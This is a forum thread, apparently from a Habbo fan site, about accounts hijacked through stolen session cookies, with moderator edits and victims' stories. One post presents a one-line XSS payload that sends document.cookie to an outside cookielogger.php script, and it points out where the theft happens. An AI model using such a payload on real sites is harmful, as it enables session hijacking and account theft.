Cookie Stealer ?

I have seen this guy going around DJ- (I wont put his full username until I find out full information) whose going around saying hes a partner to Habbox and he wants to host competitions in rare owners rooms...

Apparently logging onto his site *Removed* and allowing a Java script or something, he can get your computer cookies I think. which has your habbo details (password, username etc) and he can log onto you, 2 of my friends have had this happen to them Qbot and lKRUZE and the guy came to my room and tried to get me to go to it too... I've never known anything like this before, its kinda shocking.. can any one shed some light on this? And help stop this evil bugger.

Edited by Catzsy (Forum Super Moderator): Please do not name sites that members could get keylogged on. Thanks.

Closed by Cosmic (Forum Moderator) due to bump.

I thought to steal specific cookies with JavaScript you had to have something like mysite.com/hi.php?x=javascript(document.cookie);
:S?

I've just learnt its called "Session Stealing" very very dangerous stuff here. I'll be avoiding alot of Habbo sites now :P.

I think i was correct.. Here is a basic tutorial on how to session steal (for educational purposes). And the code inside the download is

Code:

---

<script>location.href='http://www.mysite.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>

---

See how it says cookielogger.php?cookie='+escape(document.cookie)? Thats the section where you steal the cookie/session ;)

There is quite a bit of information on this in this thread:
http://www.habboxforum.com/showthrea...91#post6433291

This Happened to me, and actually did sign my habbo account off.

I wonder if this was how i was hacked D:

Happened to my mate, luckily he only had a HC TV, a double bed and a lamp :(

Someone did this to me, apparently he 'cookie spoofed' me, I am sure most have heard of him lets just say he leaked pictures of an ex dj here. Anyway, I think I know who the dj- is if I am wrong I am sorry but I used to have this dj- on my msn, until he said give me your account saying he wouldn't hack or anything, then said anyway I can hack you without your password, I can get your ip and I am hacking scrogum as we speak (my account name) However, he didnt use my account name becauce he didn't know it. Anyway, I got my friend to see if he could really hack and he told me he doubted it. The next day, he was on habbo, and I was talking to him normally as he didn't know me on scrogum only samantha421.

Moral of the story, people can't always hack. They just try and scare you so much to hand things over. Keylogging, just enter details with the on screen keyboard.

At first when I saw your posts title, I thought you meant someone stole your cookies like biscuits xD

Edited by Cosmic (Forum Moderator) Please do not bump threads with the last post being over 14 days old.